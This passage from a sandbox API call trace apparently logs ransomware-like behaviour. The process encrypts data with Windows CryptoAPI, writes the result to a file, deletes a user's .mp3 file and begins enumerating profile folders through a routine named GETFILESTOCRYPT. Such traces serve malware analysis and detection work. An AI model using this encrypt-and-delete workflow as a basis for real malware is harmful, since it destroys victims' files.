lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0065.260] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.260] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0065.260] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.260] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.261] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.261] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0065.261] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0065.261] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0065.261] CryptGetKeyParam (in: hKey=0x164c370, dwParam=0x7, pbData=0x1629650, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629650*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0065.262] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.262] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0065.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.262] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.262] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.262] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.262] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.263] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.263] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.263] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.263] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.263] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.263] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.263] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.263] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.263] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.263] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.264] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.264] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.264] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.268] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.270] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.270] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x15c42, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x15c50) returned 1 [0065.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.283] CharLowerBuffW (in: lpsz="byte[89169]", cchLength=0xb | out: lpsz="byte[89169]") returned 0xb [0065.283] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.286] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.286] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.286] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.288] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0065.288] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621bd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0065.288] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0065.288] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e6768*, pdwDataLen=0x130e618*=0x15c42, dwBufLen=0x15c50 | out: pbData=0x17e6768*, pdwDataLen=0x130e618*=0x15c50) returned 1 [0065.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.288] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.289] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.289] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.289] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.289] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.289] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.289] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.289] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.289] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.289] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.290] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.290] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.290] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.319] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.319] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.319] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.319] WriteFile (in: hFile=0x3bc, lpBuffer=0x1892c68*, nNumberOfBytesToWrite=0x15c50, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1892c68*, lpNumberOfBytesWritten=0x130f01c*=0x15c50, lpOverlapped=0x0) returned 1 [0065.323] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.323] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.324] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0065.324] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.324] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.324] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0065.324] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.324] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621480, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0065.324] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0065.324] CryptDestroyKey (hKey=0x164c370) returned 1 [0065.324] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.324] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.324] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.324] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.324] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.325] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.325] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.325] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.325] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0065.325] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.325] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0065.325] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.325] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.325] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.325] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.325] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.325] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.326] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.326] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.326] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0065.326] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0065.326] CryptReleaseContext (hProv=0x17ab330, dwFlags=0x0) returned 1 [0065.326] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.326] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.327] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0065.327] FreeLibrary (hLibModule=0x74c60000) returned 1 [0065.327] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.327] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.328] CloseHandle (hObject=0x2ac) returned 1 [0065.333] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.333] CloseHandle (hObject=0x3bc) returned 1 [0065.339] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.340] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.340] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", lpFilePart=0x0) returned 0x49 [0065.340] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\teyre16q8ruq.mp3")) returned 0x20 [0065.340] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0065.340] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\teyre16q8ruq.mp3")) returned 1 [0065.343] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0065.343] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0065.343] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0065.343] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.344] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.344] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.344] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.344] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0065.344] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0065.344] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x130f280, nSize=0x104 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps") returned 0x15 [0065.344] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.344] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", cchCount1=28, lpString2="", cchCount2=0) returned 3 [0065.344] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0065.344] CharUpperBuffW (in: lpsz="_FILELISTTOARRAYREC", cchLength=0x13 | out: lpsz="_FILELISTTOARRAYREC") returned 0x13 [0065.344] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.344] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0065.344] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.344] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0065.344] PeekMessageW (in: 